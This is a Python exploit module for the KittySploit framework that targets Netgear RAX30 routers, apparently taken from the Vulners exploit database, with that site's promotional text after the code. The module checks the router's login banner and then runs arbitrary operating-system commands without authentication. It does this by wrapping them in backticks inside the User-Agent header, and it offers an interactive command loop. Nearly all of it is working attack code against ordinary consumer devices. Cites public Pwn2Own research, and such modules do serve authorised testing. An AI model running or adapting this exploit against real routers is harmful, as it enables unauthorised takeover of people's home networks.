#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Netgear RAX30 RCE"""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
class Module(Exploit, Http_client, Handler):
__info__ = {
'name': 'Netgear RAX30 RCE',
'description': 'Module exploits remote command execution in Netgear RAX30 devices. If the target is vulnerable, command loop is invoked that allows executing commands on operating system level.',
'author': ['Pwn2Own 2022 Toronto - multiple researchers', 'Marcin Bury'],
'platform': Platform.LINUX,
'payload': {'default': 'nopayload'},
'references': ['https://www.synacktiv.com/en/publications/cool-vulns-dont-live-long-netgear-and-pwn2own.html', 'https://claroty.com/team82/research/chaining-five-vulnerabilities-to-exploit-netgear-nighthawk-rax30-routers-at-pwn2own-toronto-2022', 'https://mahaloz.re/2023/02/25/pwnagent-netgear.html'],
'tags': ['iot', 'router', 'rce', 'unauth'],
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals'],
'cost': 1.5,
'noise': 0.5,
'value': 1.0,
},
}
target = OptIP("", "Target IPv4 or IPv6 address")
port = OptPort(80, "Target HTTP port")
def execute(self, cmd):
headers = {
"User-Agent": "`{}`".format(cmd)
}
self.http_request(
method="GET",
path="/",
headers=headers
)
return ""
def check(self):
response = self.http_request(
method="GET",
path="/"
)
if response and "WWW-Authenticate" in response.headers.keys() and \
'Basic realm="RAX30"' in response.headers["WWW-Authenticate"]:
return {"vulnerable": True, "reason": "Check succeeded", "confidence": "medium"}
return {"vulnerable": False, "reason": "Check failed", "confidence": "medium"}
def run(self):
result = self.check()
if isinstance(result, dict):
if not result.get("vulnerable"):
self.not_vulnerable()
return False
elif not result:
self.not_vulnerable()
return False
print_success("Target appears vulnerable")
return self.handler_execute()
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
19 Aug 2026 05:37Current
6.1Medium risk
Vulners AI Score6.1